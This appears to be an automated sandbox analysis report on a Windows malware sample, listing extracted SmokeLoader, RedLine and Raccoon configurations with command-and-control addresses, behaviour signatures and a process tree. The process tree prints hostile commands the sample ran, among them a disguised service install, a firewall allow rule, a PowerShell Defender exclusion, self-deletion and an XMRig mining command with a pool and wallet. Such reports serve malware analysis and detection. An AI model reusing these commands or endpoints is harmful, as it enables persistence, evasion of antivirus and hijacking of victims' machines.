Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    02/10/2021, 02:21

General

  • Target
    3c0cc240356bc0dae6248382390a5fa5.exe
  • Size 266KB
  • Sample211002-cs17tsdeeq
  • SHA256 e95594225aea4dcf8d64139f4180dcb760d1173ba4564f32bd3c00b39e82289c
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://fiskahlilian16.top/

  • http://paishancho17.top/

  • http://ydiannetter18.top/

  • http://azarehanelle19.top/

  • http://quericeriant20.top/

rc4.i32
rc4.i32

Extracted

Family
  • redline

Botnet
  • r

C2
  • 188.72.208.174:38430

Extracted

Family
  • redline

Botnet
  • 114кk

C2
  • 193.56.146.60:18243

Extracted

Family
  • raccoon

Botnet
  • �ru2AC�^�����wL,Q֎�B��Mc1/`�`�1K�:�y�

Attributes
  • url4cnc

    �cb{K^�WXP�۸��fB:O�٩ϥ6=q!�(�p�2�d��oqix����7�W��e�gV�� ����1 ���J2�탾ݭ�

rc4.plain
rc4.plain

Extracted

Family
  • raccoon

Botnet
  • 5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Turns off Windows Defender SpyNet reporting 2 TTPs
  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Win32.Raccoon Stealer CnC Activity (dependency download)

    suricata: ET MALWARE Win32.Raccoon Stealer CnC Activity (dependency download)

  • suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

    suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Nirsoft 3 IoCs
  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 14 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 11 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Windows security modification 2 TTPs 10 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 15 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Modifies data under HKEY_USERS 14 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3c0cc240356bc0dae6248382390a5fa5.exe
    "C:\Users\Admin\AppData\Local\Temp\3c0cc240356bc0dae6248382390a5fa5.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2384
    • C:\Users\Admin\AppData\Local\Temp\3c0cc240356bc0dae6248382390a5fa5.exe
      "C:\Users\Admin\AppData\Local\Temp\3c0cc240356bc0dae6248382390a5fa5.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2424
  • C:\Users\Admin\AppData\Local\Temp\E43C.exe
    C:\Users\Admin\AppData\Local\Temp\E43C.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2684
    • C:\Users\Admin\AppData\Local\Temp\E43C.exe
      C:\Users\Admin\AppData\Local\Temp\E43C.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:3392
  • C:\Users\Admin\AppData\Local\Temp\E5B4.exe
    C:\Users\Admin\AppData\Local\Temp\E5B4.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2572
    • C:\Users\Admin\AppData\Local\Temp\E5B4.exe
      C:\Users\Admin\AppData\Local\Temp\E5B4.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2940
  • C:\Users\Admin\AppData\Local\Temp\ED75.exe
    C:\Users\Admin\AppData\Local\Temp\ED75.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3564
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qukqsktj\
      2⤵
        PID:1560
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pjflwgye.exe" C:\Windows\SysWOW64\qukqsktj\
        2⤵
          PID:2584
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qukqsktj binPath= "C:\Windows\SysWOW64\qukqsktj\pjflwgye.exe /d\"C:\Users\Admin\AppData\Local\Temp\ED75.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2676
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description qukqsktj "wifi internet conection"
            2⤵
              PID:2684
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start qukqsktj
              2⤵
                PID:2332
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3936
              • C:\Users\Admin\AppData\Local\Temp\EE70.exe
                C:\Users\Admin\AppData\Local\Temp\EE70.exe
                1⤵
                • Executes dropped EXE
                • Windows security modification
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3184
                • C:\Users\Admin\AppData\Local\Temp\d704cde2-b82a-415b-981d-5b7ec43feb46\AdvancedRun.exe
                  "C:\Users\Admin\AppData\Local\Temp\d704cde2-b82a-415b-981d-5b7ec43feb46\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\d704cde2-b82a-415b-981d-5b7ec43feb46\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3988
                  • C:\Users\Admin\AppData\Local\Temp\d704cde2-b82a-415b-981d-5b7ec43feb46\AdvancedRun.exe
                    "C:\Users\Admin\AppData\Local\Temp\d704cde2-b82a-415b-981d-5b7ec43feb46\AdvancedRun.exe" /SpecialRun 4101d8 3988
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1792
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\EE70.exe" -Force
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1812
                • C:\Users\Admin\AppData\Local\Temp\EE70.exe
                  "C:\Users\Admin\AppData\Local\Temp\EE70.exe"
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2648
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3184 -s 2160
                  2⤵
                  • Drops file in Windows directory
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2508
              • C:\Users\Admin\AppData\Local\Temp\F17E.exe
                C:\Users\Admin\AppData\Local\Temp\F17E.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:1044
              • C:\Users\Admin\AppData\Local\Temp\FB43.exe
                C:\Users\Admin\AppData\Local\Temp\FB43.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:520
              • C:\Users\Admin\AppData\Local\Temp\FF2C.exe
                C:\Users\Admin\AppData\Local\Temp\FF2C.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:1948
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\FF2C.exe"
                  2⤵
                    PID:4920
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /T 10 /NOBREAK
                      3⤵
                      • Delays execution with timeout.exe
                      PID:4964
                • C:\Windows\SysWOW64\qukqsktj\pjflwgye.exe
                  C:\Windows\SysWOW64\qukqsktj\pjflwgye.exe /d"C:\Users\Admin\AppData\Local\Temp\ED75.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:1888
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:3060
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                        PID:4872
                  • C:\Users\Admin\AppData\Local\Temp\613.exe
                    C:\Users\Admin\AppData\Local\Temp\613.exe
                    1⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:1672
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\613.exe"
                      2⤵
                        PID:4864
                        • C:\Windows\SysWOW64\timeout.exe
                          timeout /T 10 /NOBREAK
                          3⤵
                          • Delays execution with timeout.exe
                          PID:4904

                    Network

                          MITRE ATT&CK Enterprise v6

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          memory/520-188-0x0000000000F00000-0x0000000000F01000-memory.dmp

                          memory/520-197-0x0000000077000000-0x000000007718E000-memory.dmp

                          memory/520-198-0x0000000005F80000-0x0000000005F81000-memory.dmp

                          memory/1044-153-0x00000000065C0000-0x00000000065C1000-memory.dmp

                          memory/1044-156-0x0000000005E30000-0x0000000005E31000-memory.dmp

                          memory/1044-158-0x0000000005FB0000-0x0000000005FB1000-memory.dmp

                          memory/1044-168-0x0000000077000000-0x000000007718E000-memory.dmp

                          memory/1044-170-0x0000000005E90000-0x0000000005E91000-memory.dmp

                          memory/1044-169-0x0000000005FA0000-0x0000000005FA1000-memory.dmp

                          memory/1044-151-0x0000000000CB0000-0x0000000000CB1000-memory.dmp

                          memory/1588-195-0x0000000004500000-0x0000000004515000-memory.dmp

                          memory/1588-118-0x0000000000880000-0x0000000000895000-memory.dmp

                          memory/1672-240-0x0000000000400000-0x00000000008B1000-memory.dmp

                          memory/1672-238-0x0000000000A10000-0x0000000000AA0000-memory.dmp

                          memory/1812-226-0x00000000071A2000-0x00000000071A3000-memory.dmp

                          memory/1812-214-0x00000000071A0000-0x00000000071A1000-memory.dmp

                          memory/1812-232-0x0000000008120000-0x0000000008121000-memory.dmp

                          memory/1812-237-0x0000000008570000-0x0000000008571000-memory.dmp

                          memory/1812-215-0x00000000070D0000-0x00000000070D1000-memory.dmp

                          memory/1812-231-0x0000000008020000-0x0000000008021000-memory.dmp

                          memory/1812-230-0x0000000007FB0000-0x0000000007FB1000-memory.dmp

                          memory/1812-216-0x00000000077E0000-0x00000000077E1000-memory.dmp

                          memory/1812-282-0x000000007EFC0000-0x000000007EFC1000-memory.dmp

                          memory/1812-298-0x00000000071A3000-0x00000000071A4000-memory.dmp

                          memory/1812-229-0x0000000007E10000-0x0000000007E11000-memory.dmp

                          memory/1888-228-0x0000000000400000-0x0000000000871000-memory.dmp

                          memory/1948-213-0x0000000000400000-0x00000000008B0000-memory.dmp

                          memory/1948-212-0x0000000000B10000-0x0000000000B9E000-memory.dmp

                          memory/2384-117-0x0000000000030000-0x0000000000039000-memory.dmp

                          memory/2424-115-0x0000000000400000-0x0000000000409000-memory.dmp

                          memory/2572-127-0x00000000054E0000-0x00000000054E1000-memory.dmp

                          memory/2572-125-0x0000000000C70000-0x0000000000C71000-memory.dmp

                          memory/2572-128-0x0000000005460000-0x0000000005461000-memory.dmp

                          memory/2572-129-0x0000000005C60000-0x0000000005C61000-memory.dmp

                          memory/2572-133-0x0000000005750000-0x0000000005751000-memory.dmp

                          memory/2648-227-0x0000000002B80000-0x0000000002B92000-memory.dmp

                          memory/2648-205-0x0000000000400000-0x0000000000422000-memory.dmp

                          memory/2940-172-0x0000000005090000-0x0000000005696000-memory.dmp

                          memory/2940-154-0x0000000000400000-0x0000000000422000-memory.dmp

                          memory/2940-174-0x00000000051D0000-0x00000000051D1000-memory.dmp

                          memory/2940-234-0x0000000006A30000-0x0000000006A31000-memory.dmp

                          memory/2940-236-0x0000000007130000-0x0000000007131000-memory.dmp

                          memory/2940-244-0x0000000006D20000-0x0000000006D21000-memory.dmp

                          memory/3060-222-0x0000000002C50000-0x0000000002C65000-memory.dmp

                          memory/3184-148-0x0000000005730000-0x00000000057A9000-memory.dmp

                          memory/3184-140-0x00000000004D0000-0x00000000004D1000-memory.dmp

                          memory/3184-142-0x0000000004D70000-0x0000000004D71000-memory.dmp

                          memory/3184-145-0x0000000004FA0000-0x0000000004FA1000-memory.dmp

                          memory/3564-147-0x00000000001C0000-0x00000000001D3000-memory.dmp

                          memory/3564-146-0x0000000000400000-0x0000000000871000-memory.dmp